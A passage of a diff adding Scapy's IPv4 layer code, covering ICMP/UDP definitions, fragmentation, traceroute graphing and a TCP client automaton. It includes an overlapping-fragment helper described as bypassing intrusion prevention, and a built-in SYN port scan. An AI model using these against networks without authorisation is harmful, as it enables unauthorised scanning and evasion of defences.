0 + return self.payload.answers(other.payload) + + def mysummary(self): + if isinstance(self.underlayer, IP): + return self.underlayer.sprintf("UDP %IP.src%:%UDP.sport% > %IP.dst%:%UDP.dport%") # noqa: E501 + elif isinstance(self.underlayer, scapy.layers.inet6.IPv6): + return self.underlayer.sprintf("UDP %IPv6.src%:%UDP.sport% > %IPv6.dst%:%UDP.dport%") # noqa: E501 + else: + return self.sprintf("UDP %UDP.sport% > %UDP.dport%") + + +icmptypes = {0: "echo-reply", + 3: "dest-unreach", + 4: "source-quench", + 5: "redirect", + 8: "echo-request", + 9: "router-advertisement", + 10: "router-solicitation", + 11: "time-exceeded", + 12: "parameter-problem", + 13: "timestamp-request", + 14: "timestamp-reply", + 15: "information-request", + 16: "information-response", + 17: "address-mask-request", + 18: "address-mask-reply", + 30: "traceroute", + 31: "datagram-conversion-error", + 32: "mobile-host-redirect", + 33: "ipv6-where-are-you", + 34: "ipv6-i-am-here", + 35: "mobile-registration-request", + 36: "mobile-registration-reply", + 37: "domain-name-request", + 38: "domain-name-reply", + 39: "skip", + 40: "photuris"} + + +icmpcodes = {3: {0: "network-unreachable", + 1: "host-unreachable", + 2: "protocol-unreachable", + 3: "port-unreachable", + 4: "fragmentation-needed", + 5: "source-route-failed", + 6: "network-unknown", + 7: "host-unknown", + 9: "network-prohibited", + 10: "host-prohibited", + 11: "TOS-network-unreachable", + 12: "TOS-host-unreachable", + 13: "communication-prohibited", + 14: "host-precedence-violation", + 15: "precedence-cutoff", }, + 5: {0: "network-redirect", + 1: "host-redirect", + 2: "TOS-network-redirect", + 3: "TOS-host-redirect", }, + 11: {0: "ttl-zero-during-transit", + 1: "ttl-zero-during-reassembly", }, + 12: {0: "ip-header-bad", + 1: "required-option-missing", }, + 40: {0: "bad-spi", + 1: "authentication-failed", + 2: "decompression-failed", + 3: "decryption-failed", + 4: "need-authentification", + 5: "need-authorization", }, } + + +class ICMP(Packet): + name = "ICMP" + fields_desc = [ByteEnumField("type", 8, icmptypes), + MultiEnumField("code", 0, icmpcodes, depends_on=lambda pkt:pkt.type, fmt="B"), # noqa: E501 + XShortField("chksum", None), + ConditionalField(XShortField("id", 0), lambda pkt:pkt.type in [0, 8, 13, 14, 15, 16, 17, 18]), # noqa: E501 + ConditionalField(XShortField("seq", 0), lambda pkt:pkt.type in [0, 8, 13, 14, 15, 16, 17, 18]), # noqa: E501 + ConditionalField(ICMPTimeStampField("ts_ori", None), lambda pkt:pkt.type in [13, 14]), # noqa: E501 + ConditionalField(ICMPTimeStampField("ts_rx", None), lambda pkt:pkt.type in [13, 14]), # noqa: E501 + ConditionalField(ICMPTimeStampField("ts_tx", None), lambda pkt:pkt.type in [13, 14]), # noqa: E501 + ConditionalField(IPField("gw", "0.0.0.0"), lambda pkt:pkt.type == 5), # noqa: E501 + ConditionalField(ByteField("ptr", 0), lambda pkt:pkt.type == 12), # noqa: E501 + ConditionalField(ByteField("reserved", 0), lambda pkt:pkt.type in [3, 11]), # noqa: E501 + ConditionalField(ByteField("length", 0), lambda pkt:pkt.type in [3, 11, 12]), # noqa: E501 + ConditionalField(IPField("addr_mask", "0.0.0.0"), lambda pkt:pkt.type in [17, 18]), # noqa: E501 + ConditionalField(ShortField("nexthopmtu", 0), lambda pkt:pkt.type == 3), # noqa: E501 + ConditionalField(ShortField("unused", 0), lambda pkt:pkt.type in [11, 12]), # noqa: E501 + ConditionalField(IntField("unused", 0), lambda pkt:pkt.type not in [0, 3, 5, 8, 11, 12, 13, 14, 15, 16, 17, 18]) # noqa: E501 + ] + + def post_build(self, p, pay): + p += pay + if self.chksum is None: + ck = checksum(p) + p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:] + return p + + def hashret(self): + if self.type in [0, 8, 13, 14, 15, 16, 17, 18, 33, 34, 35, 36, 37, 38]: + return struct.pack("HH", self.id, self.seq) + self.payload.hashret() # noqa: E501 + return self.payload.hashret() + + def answers(self, other): + if not isinstance(other, ICMP): + return 0 + if ((other.type, self.type) in [(8, 0), (13, 14), (15, 16), (17, 18), (33, 34), (35, 36), (37, 38)] and # noqa: E501 + self.id == other.id and + self.seq == other.seq): + return 1 + return 0 + + def guess_payload_class(self, payload): + if self.type in [3, 4, 5, 11, 12]: + return IPerror + else: + return None + + def mysummary(self): + if isinstance(self.underlayer, IP): + return self.underlayer.sprintf("ICMP %IP.src% > %IP.dst% %ICMP.type% %ICMP.code%") # noqa: E501 + else: + return self.sprintf("ICMP %ICMP.type% %ICMP.code%") + + +class IPerror(IP): + name = "IP in ICMP" + + def answers(self, other): + if not isinstance(other, IP): + return 0 + + # Check if IP addresses match + test_IPsrc = not conf.checkIPsrc or self.src == other.src + test_IPdst = self.dst == other.dst + + # Check if IP ids match + test_IPid = not conf.checkIPID or self.id == other.id + test_IPid |= conf.checkIPID and self.id == socket.htons(other.id) + + # Check if IP protocols match + test_IPproto = self.proto == other.proto + + if not (test_IPsrc and test_IPdst and test_IPid and test_IPproto): + return 0 + + return self.payload.answers(other.payload) + + def mysummary(self): + return Packet.mysummary(self) + + +class TCPerror(TCP): + name = "TCP in ICMP" + + def answers(self, other): + if not isinstance(other, TCP): + return 0 + if conf.checkIPsrc: + if not ((self.sport == other.sport) and + (self.dport == other.dport)): + return 0 + if conf.check_TCPerror_seqack: + if self.seq is not None: + if self.seq != other.seq: + return 0 + if self.ack is not None: + if self.ack != other.ack: + return 0 + return 1 + + def mysummary(self): + return Packet.mysummary(self) + + +class UDPerror(UDP): + name = "UDP in ICMP" + + def answers(self, other): + if not isinstance(other, UDP): + return 0 + if conf.checkIPsrc: + if not ((self.sport == other.sport) and + (self.dport == other.dport)): + return 0 + return 1 + + def mysummary(self): + return Packet.mysummary(self) + + +class ICMPerror(ICMP): + name = "ICMP in ICMP" + + def answers(self, other): + if not isinstance(other, ICMP): + return 0 + if not ((self.type == other.type) and + (self.code == other.code)): + return 0 + if self.code in [0, 8, 13, 14, 17, 18]: + if (self.id == other.id and + self.seq == other.seq): + return 1 + else: + return 0 + else: + return 1 + + def mysummary(self): + return Packet.mysummary(self) + + +bind_layers(Ether, IP, type=2048) +bind_layers(CookedLinux, IP, proto=2048) +bind_layers(GRE, IP, proto=2048) +bind_layers(SNAP, IP, code=2048) +bind_bottom_up(Loopback, IP, type=0) +bind_layers(Loopback, IP, type=socket.AF_INET) +bind_layers(IPerror, IPerror, frag=0, proto=4) +bind_layers(IPerror, ICMPerror, frag=0, proto=1) +bind_layers(IPerror, TCPerror, frag=0, proto=6) +bind_layers(IPerror, UDPerror, frag=0, proto=17) +bind_layers(IP, IP, frag=0, proto=4) +bind_layers(IP, ICMP, frag=0, proto=1) +bind_layers(IP, TCP, frag=0, proto=6) +bind_layers(IP, UDP, frag=0, proto=17) +bind_layers(IP, GRE, frag=0, proto=47) + +conf.l2types.register(DLT_RAW, IP) +conf.l2types.register_num2layer(DLT_RAW_ALT, IP) +conf.l2types.register(DLT_IPV4, IP) + +conf.l3types.register(ETH_P_IP, IP) +conf.l3types.register_num2layer(ETH_P_ALL, IP) + + +def inet_register_l3(l2, l3): + return getmacbyip(l3.dst) + + +conf.neighbor.register_l3(Ether, IP, inet_register_l3) +conf.neighbor.register_l3(Dot3, IP, inet_register_l3) + + +################### +# Fragmentation # +################### + +@conf.commands.register +def fragment(pkt, fragsize=1480): + """Fragment a big IP datagram""" + fragsize = (fragsize + 7) // 8 * 8 + lst = [] + for p in pkt: + s = raw(p[IP].payload) + nb = (len(s) + fragsize - 1) // fragsize + for i in range(nb): + q = p.copy() + del(q[IP].payload) + del(q[IP].chksum) + del(q[IP].len) + if i != nb - 1: + q[IP].flags |= 1 + q[IP].frag += i * fragsize // 8 + r = conf.raw_layer(load=s[i * fragsize:(i + 1) * fragsize]) + r.overload_fields = p[IP].payload.overload_fields.copy() + q.add_payload(r) + lst.append(q) + return lst + + +@conf.commands.register +def overlap_frag(p, overlap, fragsize=8, overlap_fragsize=None): + """Build overlapping fragments to bypass NIPS + +p: the original packet +overlap: the overlapping data +fragsize: the fragment size of the packet +overlap_fragsize: the fragment size of the overlapping packet""" + + if overlap_fragsize is None: + overlap_fragsize = fragsize + q = p.copy() + del(q[IP].payload) + q[IP].add_payload(overlap) + + qfrag = fragment(q, overlap_fragsize) + qfrag[-1][IP].flags |= 1 + return qfrag + fragment(p, fragsize) + + +def _defrag_list(lst, defrag, missfrag): + """Internal usage only. Part of the _defrag_logic""" + p = lst[0] + lastp = lst[-1] + if p.frag > 0 or lastp.flags.MF: # first or last fragment missing + missfrag.append(lst) + return + p = p.copy() + if conf.padding_layer in p: + del(p[conf.padding_layer].underlayer.payload) + ip = p[IP] + if ip.len is None or ip.ihl is None: + clen = len(ip.payload) + else: + clen = ip.len - (ip.ihl << 2) + txt = conf.raw_layer() + for q in lst[1:]: + if clen != q.frag << 3: # Wrong fragmentation offset + if clen > q.frag << 3: + warning("Fragment overlap (%i > %i) %r || %r || %r" % (clen, q.frag << 3, p, txt, q)) # noqa: E501 + missfrag.append(lst) + break + if q[IP].len is None or q[IP].ihl is None: + clen += len(q[IP].payload) + else: + clen += q[IP].len - (q[IP].ihl << 2) + if conf.padding_layer in q: + del(q[conf.padding_layer].underlayer.payload) + txt.add_payload(q[IP].payload.copy()) + if q.time > p.time: + p.time = q.time + else: + ip.flags.MF = False + del(ip.chksum) + del(ip.len) + p = p / txt + p._defrag_pos = max(x._defrag_pos for x in lst) + defrag.append(p) + + +def _defrag_logic(plist, complete=False): + """Internal function used to defragment a list of packets. + It contains the logic behind the defrag() and defragment() functions + """ + frags = defaultdict(lambda: []) + final = [] + pos = 0 + for p in plist: + p._defrag_pos = pos + pos += 1 + if IP in p: + ip = p[IP] + if ip.frag != 0 or ip.flags.MF: + uniq = (ip.id, ip.src, ip.dst, ip.proto) + frags[uniq].append(p) + continue + final.append(p) + + defrag = [] + missfrag = [] + for lst in six.itervalues(frags): + lst.sort(key=lambda x: x.frag) + _defrag_list(lst, defrag, missfrag) + defrag2 = [] + for p in defrag: + q = p.__class__(raw(p)) + q._defrag_pos = p._defrag_pos + q.time = p.time + defrag2.append(q) + if complete: + final.extend(defrag2) + final.extend(missfrag) + final.sort(key=lambda x: x._defrag_pos) + if hasattr(plist, "listname"): + name = "Defragmented %s" % plist.listname + else: + name = "Defragmented" + return PacketList(final, name=name) + else: + return PacketList(final), PacketList(defrag2), PacketList(missfrag) + + +@conf.commands.register +def defrag(plist): + """defrag(plist) -> ([not fragmented], [defragmented], + [ [bad fragments], [bad fragments], ... ])""" + return _defrag_logic(plist, complete=False) + + +@conf.commands.register +def defragment(plist): + """defragment(plist) -> plist defragmented as much as possible """ + return _defrag_logic(plist, complete=True) + + +# Add timeskew_graph() method to PacketList +def _packetlist_timeskew_graph(self, ip, **kargs): + """Tries to graph the timeskew between the timestamps and real time for a given ip""" # noqa: E501 + + # Filter TCP segments which source address is 'ip' + tmp = (self._elt2pkt(x) for x in self.res) + b = (x for x in tmp if IP in x and x[IP].src == ip and TCP in x) + + # Build a list of tuples (creation_time, replied_timestamp) + c = [] + tsf = ICMPTimeStampField("", None) + for p in b: + opts = p.getlayer(TCP).options + for o in opts: + if o[0] == "Timestamp": + c.append((p.time, tsf.any2i("", o[1][0]))) + + # Stop if the list is empty + if not c: + warning("No timestamps found in packet list") + return [] + + # Prepare the data that will be plotted + first_creation_time = c[0][0] + first_replied_timestamp = c[0][1] + + def _wrap_data(ts_tuple, wrap_seconds=2000): + """Wrap the list of tuples.""" + + ct, rt = ts_tuple # (creation_time, replied_timestamp) + X = ct % wrap_seconds + Y = ((ct - first_creation_time) - ((rt - first_replied_timestamp) / 1000.0)) # noqa: E501 + + return X, Y + + data = [_wrap_data(e) for e in c] + + # Mimic the default gnuplot output + if kargs == {}: + kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS + lines = plt.plot(data, **kargs) + + # Call show() if matplotlib is not inlined + if not MATPLOTLIB_INLINED: + plt.show() + + return lines + + +PacketList.timeskew_graph = _packetlist_timeskew_graph + + +# Create a new packet list +class TracerouteResult(SndRcvList): + __slots__ = ["graphdef", "graphpadding", "graphASres", "padding", "hloc", + "nloc"] + + def __init__(self, res=None, name="Traceroute", stats=None): + SndRcvList.__init__(self, res, name, stats) + self.graphdef = None + self.graphASres = None + self.padding = 0 + self.hloc = None + self.nloc = None + + def show(self): + return self.make_table(lambda s, r: (s.sprintf("%IP.dst%:{TCP:tcp%ir,TCP.dport%}{UDP:udp%ir,UDP.dport%}{ICMP:ICMP}"), # noqa: E501 + s.ttl, + r.sprintf("%-15s,IP.src% {TCP:%TCP.flags%}{ICMP:%ir,ICMP.type%}"))) # noqa: E501 + + def get_trace(self): + trace = {} + for s, r in self.res: + if IP not in s: + continue + d = s[IP].dst + if d not in trace: + trace[d] = {} + trace[d][s[IP].ttl] = r[IP].src, ICMP not in r + for k in six.itervalues(trace): + try: + m = min(x for x, y in six.iteritems(k) if y[1]) + except ValueError: + continue + for l in list(k): # use list(): k is modified in the loop + if l > m: + del k[l] + return trace + + def trace3D(self, join=True): + """Give a 3D representation of the traceroute. + right button: rotate the scene + middle button: zoom + shift-left button: move the scene + left button on a ball: toggle IP displaying + double-click button on a ball: scan ports 21,22,23,25,80 and 443 and display the result""" # noqa: E501 + # When not ran from a notebook, vpython pooly closes itself + # using os._exit once finished. We pack it into a Process + import multiprocessing + p = multiprocessing.Process(target=self.trace3D_notebook) + p.start() + if join: + p.join() + + def trace3D_notebook(self): + """Same than trace3D, used when ran from Jupyther notebooks""" + trace = self.get_trace() + import vpython + + class IPsphere(vpython.sphere): + def __init__(self, ip, **kargs): + vpython.sphere.__init__(self, **kargs) + self.ip = ip + self.label = None + self.setlabel(self.ip) + self.last_clicked = None + self.full = False + self.savcolor = vpython.vec(*self.color.value) + + def fullinfos(self): + self.full = True + self.color = vpython.vec(1, 0, 0) + a, b = sr(IP(dst=self.ip) / TCP(dport=[21, 22, 23, 25, 80, 443], flags="S"), timeout=2, verbose=0) # noqa: E501 + if len(a) == 0: + txt = "%s:\nno results" % self.ip + else: + txt = "%s:\n" % self.ip + for s, r in a: + txt += r.sprintf("{TCP:%IP.src%:%TCP.sport% %TCP.flags%}{TCPerror:%IPerror.dst%:%TCPerror.dport% %IP.src% %ir,ICMP.type%}\n") # noqa: E501 + self.setlabel(txt, visible=1) + + def unfull(self): + self.color = self.savcolor + self.full = False + self.setlabel(self.ip) + + def setlabel(self, txt, visible=None): + if self.label is not None: + if visible is None: + visible = self.label.visible + self.label.visible = 0 + elif visible is None: + visible = 0 + self.label = vpython.label(text=txt, pos=self.pos, space=self.radius, xoffset=10, yoffset=20, visible=visible) # noqa: E501 + + def check_double_click(self): + try: + if self.full or not self.label.visible: + return False + if self.last_clicked is not None: + return (time.time() - self.last_clicked) < 0.5 + return False + finally: + self.last_clicked = time.time() + + def action(self): + self.label.visible ^= 1 + if self.full: + self.unfull() + + vpython.scene = vpython.canvas() + vpython.scene.title = "
%s
" % self.listname # noqa: E501 + vpython.scene.append_to_caption( + re.sub( + r'\%(.*)\%', + r'\1', + re.sub( + r'\`(.*)\`', + r'\1', + """Commands: +%Click% to toggle information about a node. +%Double click% to perform a quick web scan on this node. +Camera usage: +`Right button drag or Ctrl-drag` to rotate "camera" to view scene. +`Shift-drag` to move the object around. +`Middle button or Alt-drag` to drag up or down to zoom in or out. + On a two-button mouse, `middle is wheel or left + right`. +Touch screen: pinch/extend to zoom, swipe or two-finger rotate.""" + ) + ) + ) + vpython.scene.exit = True + rings = {} + tr3d = {} + for i in trace: + tr = trace[i] + tr3d[i] = [] + for t in range(1, max(tr) + 1): + if t not in rings: + rings[t] = [] + if t in tr: + if tr[t] not in rings[t]: + rings[t].append(tr[t]) + tr3d[i].append(rings[t].index(tr[t])) + else: + rings[t].append(("unk", -1)) + tr3d[i].append(len(rings[t]) - 1) + + for t in rings: + r = rings[t] + tmp_len = len(r) + for i in range(tmp_len): + if r[i][1] == -1: + col = vpython.vec(0.75, 0.75, 0.75) + elif r[i][1]: + col = vpython.color.green + else: + col = vpython.color.blue + + s = IPsphere(pos=vpython.vec((tmp_len - 1) * vpython.cos(2 * i * vpython.pi / tmp_len), (tmp_len - 1) * vpython.sin(2 * i * vpython.pi / tmp_len), 2 * t), # noqa: E501 + ip=r[i][0], + color=col) + for trlst in six.itervalues(tr3d): + if t <= len(trlst): + if trlst[t - 1] == i: + trlst[t - 1] = s + forecol = colgen(0.625, 0.4375, 0.25, 0.125) + for trlst in six.itervalues(tr3d): + col = vpython.vec(*next(forecol)) + start = vpython.vec(0, 0, 0) + for ip in trlst: + vpython.cylinder(pos=start, axis=ip.pos - start, color=col, radius=0.2) # noqa: E501 + start = ip.pos + + vpython.rate(50) + + # Keys handling + # TODO: there is currently no way of closing vpython correctly + # https://github.com/BruceSherwood/vpython-jupyter/issues/36 + # def keyboard_press(ev): + # k = ev.key + # if k == "esc" or k == "q": + # pass # TODO: close + # + # vpython.scene.bind('keydown', keyboard_press) + + # Mouse handling + def mouse_click(ev): + if ev.press == "left": + o = vpython.scene.mouse.pick + if o and isinstance(o, IPsphere): + if o.check_double_click(): + if o.ip == "unk": + return + o.fullinfos() + else: + o.action() + + vpython.scene.bind('mousedown', mouse_click) + + def world_trace(self): + """Display traceroute results on a world map.""" + + # Check that the geoip2 module can be imported + # Doc: http://geoip2.readthedocs.io/en/latest/ + try: + # GeoIP2 modules need to be imported as below + import geoip2.database + import geoip2.errors + except ImportError: + warning("Cannot import geoip2. Won't be able to plot the world.") + return [] + # Check availability of database + if not conf.geoip_city: + warning("Cannot import the geolite2 CITY database.\n" + "Download it from http://dev.maxmind.com/geoip/geoip2/geolite2/" # noqa: E501 + " then set its path to conf.geoip_city") + return [] + # Check availability of plotting devices + try: + import cartopy.crs as ccrs + except ImportError: + warning("Cannot import cartopy.\n" + "More infos on http://scitools.org.uk/cartopy/docs/latest/installing.html") # noqa: E501 + return [] + if not MATPLOTLIB: + warning("Matplotlib is not installed. Won't be able to plot the world.") # noqa: E501 + return [] + + # Open & read the GeoListIP2 database + try: + db = geoip2.database.Reader(conf.geoip_city) + except Exception: + warning("Cannot open geoip2 database at %s", conf.geoip_city) + return [] + + # Regroup results per trace + ips = {} + rt = {} + ports_done = {} + for s, r in self.res: + ips[r.src] = None + if s.haslayer(TCP) or s.haslayer(UDP): + trace_id = (s.src, s.dst, s.proto, s.dport) + elif s.haslayer(ICMP): + trace_id = (s.src, s.dst, s.proto, s.type) + else: + trace_id = (s.src, s.dst, s.proto, 0) + trace = rt.get(trace_id, {}) + if not r.haslayer(ICMP) or r.type != 11: + if trace_id in ports_done: + continue + ports_done[trace_id] = None + trace[s.ttl] = r.src + rt[trace_id] = trace + + # Get the addresses locations + trt = {} + for trace_id in rt: + trace = rt[trace_id] + loctrace = [] + for i in range(max(trace)): + ip = trace.get(i, None) + if ip is None: + continue + # Fetch database + try: + sresult = db.city(ip) + except geoip2.errors.AddressNotFoundError: + continue + loctrace.append((sresult.location.longitude, sresult.location.latitude)) # noqa: E501 + if loctrace: + trt[trace_id] = loctrace + + # Load the map renderer + plt.figure(num='Scapy') + ax = plt.axes(projection=ccrs.PlateCarree()) + # Draw countries + ax.coastlines() + ax.stock_img() + # Set normal size + ax.set_global() + # Add title + plt.title("Scapy traceroute results") + + from matplotlib.collections import LineCollection + from matplotlib import colors as mcolors + colors_cycle = iter(mcolors.BASE_COLORS) + lines = [] + + # Split traceroute measurement + for key, trc in six.iteritems(trt): + # Get next color + color = next(colors_cycle) + # Gather mesurments data + data_lines = [(trc[i], trc[i + 1]) for i in range(len(trc) - 1)] + # Create line collection + line_col = LineCollection(data_lines, linewidths=2, + label=key[1], + color=color) + lines.append(line_col) + ax.add_collection(line_col) + # Create map points + lines.extend([ax.plot(*x, marker='.', color=color) for x in trc]) + + # Generate legend + ax.legend() + + # Call show() if matplotlib is not inlined + if not MATPLOTLIB_INLINED: + plt.show() + + # Clean + ax.remove() + + # Return the drawn lines + return lines + + def make_graph(self, ASres=None, padding=0): + self.graphASres = ASres + self.graphpadding = padding + ips = {} + rt = {} + ports = {} + ports_done = {} + for s, r in self.res: + r = r.getlayer(IP) or (conf.ipv6_enabled and r[scapy.layers.inet6.IPv6]) or r # noqa: E501 + s = s.getlayer(IP) or (conf.ipv6_enabled and s[scapy.layers.inet6.IPv6]) or s # noqa: E501 + ips[r.src] = None + if TCP in s: + trace_id = (s.src, s.dst, 6, s.dport) + elif UDP in s: + trace_id = (s.src, s.dst, 17, s.dport) + elif ICMP in s: + trace_id = (s.src, s.dst, 1, s.type) + else: + trace_id = (s.src, s.dst, s.proto, 0) + trace = rt.get(trace_id, {}) + ttl = conf.ipv6_enabled and scapy.layers.inet6.IPv6 in s and s.hlim or s.ttl # noqa: E501 + if not (ICMP in r and r[ICMP].type == 11) and not (conf.ipv6_enabled and scapy.layers.inet6.IPv6 in r and scapy.layers.inet6.ICMPv6TimeExceeded in r): # noqa: E501 + if trace_id in ports_done: + continue + ports_done[trace_id] = None + p = ports.get(r.src, []) + if TCP in r: + p.append(r.sprintf(" %TCP.sport% %TCP.flags%")) # noqa: E501 + trace[ttl] = r.sprintf('"%r,src%":T%ir,TCP.sport%') + elif UDP in r: + p.append(r.sprintf(" %UDP.sport%")) + trace[ttl] = r.sprintf('"%r,src%":U%ir,UDP.sport%') + elif ICMP in r: + p.append(r.sprintf(" ICMP %ICMP.type%")) + trace[ttl] = r.sprintf('"%r,src%":I%ir,ICMP.type%') + else: + p.append(r.sprintf("{IP: IP %proto%}{IPv6: IPv6 %nh%}")) # noqa: E501 + trace[ttl] = r.sprintf('"%r,src%":{IP:P%ir,proto%}{IPv6:P%ir,nh%}') # noqa: E501 + ports[r.src] = p + else: + trace[ttl] = r.sprintf('"%r,src%"') + rt[trace_id] = trace + + # Fill holes with unk%i nodes + unknown_label = incremental_label("unk%i") + blackholes = [] + bhip = {} + for rtk in rt: + trace = rt[rtk] + max_trace = max(trace) + for n in range(min(trace), max_trace): + if n not in trace: + trace[n] = next(unknown_label) + if rtk not in ports_done: + if rtk[2] == 1: # ICMP + bh = "%s %i/icmp" % (rtk[1], rtk[3]) + elif rtk[2] == 6: # TCP + bh = "%s %i/tcp" % (rtk[1], rtk[3]) + elif rtk[2] == 17: # UDP + bh = '%s %i/udp' % (rtk[1], rtk[3]) + else: + bh = '%s %i/proto' % (rtk[1], rtk[2]) + ips[bh] = None + bhip[rtk[1]] = bh + bh = '"%s"' % bh + trace[max_trace + 1] = bh + blackholes.append(bh) + + # Find AS numbers + ASN_query_list = set(x.rsplit(" ", 1)[0] for x in ips) + if ASres is None: + ASNlist = [] + else: + ASNlist = ASres.resolve(*ASN_query_list) + + ASNs = {} + ASDs = {} + for ip, asn, desc, in ASNlist: + if asn is None: + continue + iplist = ASNs.get(asn, []) + if ip in bhip: + if ip in ports: + iplist.append(ip) + iplist.append(bhip[ip]) + else: + iplist.append(ip) + ASNs[asn] = iplist + ASDs[asn] = desc + + backcolorlist = colgen("60", "86", "ba", "ff") + forecolorlist = colgen("a0", "70", "40", "20") + + s = "digraph trace {\n" + + s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" + + s += "\n#ASN clustering\n" + for asn in ASNs: + s += '\tsubgraph cluster_%s {\n' % asn + col = next(backcolorlist) + s += '\t\tcolor="#%s%s%s";' % col + s += '\t\tnode [fillcolor="#%s%s%s",style=filled];' % col + s += '\t\tfontsize = 10;' + s += '\t\tlabel = "%s\\n[%s]"\n' % (asn, ASDs[asn]) + for ip in ASNs[asn]: + + s += '\t\t"%s";\n' % ip + s += "\t}\n" + + s += "#endpoints\n" + for p in ports: + s += '\t"%s" [shape=record,color=black,fillcolor=green,style=filled,label="%s|%s"];\n' % (p, p, "|".join(ports[p])) # noqa: E501 + + s += "\n#Blackholes\n" + for bh in blackholes: + s += '\t%s [shape=octagon,color=black,fillcolor=red,style=filled];\n' % bh # noqa: E501 + + if padding: + s += "\n#Padding\n" + pad = {} + for snd, rcv in self.res: + if rcv.src not in ports and rcv.haslayer(conf.padding_layer): + p = rcv.getlayer(conf.padding_layer).load + if p != b"\x00" * len(p): + pad[rcv.src] = None + for rcv in pad: + s += '\t"%s" [shape=triangle,color=black,fillcolor=red,style=filled];\n' % rcv # noqa: E501 + + s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" + + for rtk in rt: + s += "#---[%s\n" % repr(rtk) + s += '\t\tedge [color="#%s%s%s"];\n' % next(forecolorlist) + trace = rt[rtk] + maxtrace = max(trace) + for n in range(min(trace), maxtrace): + s += '\t%s ->\n' % trace[n] + s += '\t%s;\n' % trace[maxtrace] + + s += "}\n" + self.graphdef = s + + def graph(self, ASres=conf.AS_resolver, padding=0, **kargs): + """x.graph(ASres=conf.AS_resolver, other args): + ASres=None : no AS resolver => no clustering + ASres=AS_resolver() : default whois AS resolver (riswhois.ripe.net) + ASres=AS_resolver_cymru(): use whois.cymru.com whois database + ASres=AS_resolver(server="whois.ra.net") + type: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option # noqa: E501 + target: filename or redirect. Defaults pipe to Imagemagick's display program # noqa: E501 + prog: which graphviz program to use""" + if (self.graphdef is None or + self.graphASres != ASres or + self.graphpadding != padding): + self.make_graph(ASres, padding) + + return do_graph(self.graphdef, **kargs) + + +@conf.commands.register +def traceroute(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4=None, filter=None, timeout=2, verbose=None, **kargs): # noqa: E501 + """Instant TCP traceroute + + :param target: hostnames or IP addresses + :param dport: TCP destination port (default is 80) + :param minttl: minimum TTL (default is 1) + :param maxttl: maximum TTL (default is 30) + :param sport: TCP source port (default is random) + :param l4: use a Scapy packet instead of TCP + :param filter: BPF filter applied to received packets + :param timeout: time to wait for answers (default is 2s) + :param verbose: detailed output + :return: an TracerouteResult, and a list of unanswered packets""" + if verbose is None: + verbose = conf.verb + if filter is None: + # we only consider ICMP error packets and TCP packets with at + # least the ACK flag set *and* either the SYN or the RST flag + # set + filter = "(icmp and (icmp[0]=3 or icmp[0]=4 or icmp[0]=5 or icmp[0]=11 or icmp[0]=12)) or (tcp and (tcp[13] & 0x16 > 0x10))" # noqa: E501 + if l4 is None: + a, b = sr(IP(dst=target, id=RandShort(), ttl=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport), # noqa: E501 + timeout=timeout, filter=filter, verbose=verbose, **kargs) + else: + # this should always work + filter = "ip" + a, b = sr(IP(dst=target, id=RandShort(), ttl=(minttl, maxttl)) / l4, + timeout=timeout, filter=filter, verbose=verbose, **kargs) + + a = TracerouteResult(a.res) + if verbose: + a.show() + return a, b + + +@conf.commands.register +def traceroute_map(ips, **kargs): + """Util function to call traceroute on multiple targets, then + show the different paths on a map. + + :param ips: a list of IPs on which traceroute will be called + :param kargs: (optional) kwargs, passed to traceroute + """ + kargs.setdefault("verbose", 0) + return traceroute(ips)[0].world_trace() + +############################# +# Simple TCP client stack # +############################# + + +class TCP_client(Automaton): + """ + Creates a TCP Client Automaton. + This automaton will handle TCP 3-way handshake. + + Usage: the easiest usage is to use it as a SuperSocket. + >>> a = TCP_client.tcplink(HTTP, "www.google.com", 80) + >>> a.send(HTTPRequest()) + >>> a.recv() + """ + def parse_args(self, ip, port, *args, **kargs): + from scapy.sessions import TCPSession + self.dst = str(Net(ip)) + self.dport = port + self.sport = random.randrange(0, 2**16) + self.l4 = IP(dst=ip) / TCP(sport=self.sport, dport=self.dport, flags=0, + seq=random.randrange(0, 2**32)) + self.src = self.l4.src + self.sack = self.l4[TCP].ack + self.rel_seq = None + self.rcvbuf = TCPSession(self._transmit_packet, False) + bpf = "host %s and host %s and port %i and port %i" % (self.src, + self.dst, + self.sport, + self.dport) + Automaton.parse_args(self, filter=bpf, **kargs) + + def _transmit_packet(self, pkt): + """Transmits a packet from TCPSession to the SuperSocket""" + self.oi.tcp.send(raw(pkt[TCP].payload)) + + def master_filter(self, pkt): + return (IP in pkt and + pkt[IP].src == self.dst and + pkt[IP].dst == self.src and + TCP in pkt and + pkt[TCP].sport == self.dport and + pkt[TCP].dport == self.sport and + self.l4[TCP].seq >= pkt[TCP].ack and # XXX: seq/ack 2^32 wrap up # noqa: E501 + ((self.l4[TCP].ack == 0) or (self.sack <= pkt[TCP].seq <= self.l4[TCP].ack + pkt[TCP].window))) # noqa: E501 + + @ATMT.state(initial=1) + def START(self): + pass + + @ATMT.state() + def SYN_SENT(self): + pass + + @ATMT.state() + def ESTABLISHED(self): + pass + + @ATMT.state() + def LAST_ACK(self): + pass + + @ATMT.state(final=1) + def CLOSED(self): + pass + + @ATMT.condition(START) + def connect(self): + raise self.SYN_SENT() + + @ATMT.action(connect) + def send_syn(self): + self.l4[TCP].flags = "S" + self.send(self.l4) + self.l4[TCP].seq += 1 + + @ATMT.receive_condition(SYN_SENT) + def synack_received(self, pkt): + if pkt[TCP].flags.SA: + raise self.ESTABLISHED().action_parameters(pkt) + + @ATMT.action(synack_received) + def send_ack_of_synack(self, pkt): + self.l4[TCP].ack = pkt[TCP].seq + 1 + self.l4[TCP].flags = "A" + self.send(self.l4) + + @ATMT.receive_condition(ESTABLISHED) + def incoming_data_received(self, pkt): + if not isinstance(pkt[TCP].payload, (NoPayload, conf.padding_layer)): + raise self.ESTABLISHED().action_parameters(pkt) + + @ATMT.action(incoming_data_received) + def receive_data(self, pkt): + data = raw(pkt[TCP].payload) + if data and self.l4[TCP].ack == pkt[TCP].seq: + self.sack = self.l4[TCP].ack + self.l4[TCP].ack += len(data) + self.l4[TCP].flags = "A" + # Answer with an Ack + self.send(self.l4) + # Process data - will be sent to the SuperSocket through this + self.rcvbuf.on_packet_received(pkt) + + @ATMT.ioevent(ESTABLISHED, name="tcp", as_supersocket="tcplink") + def 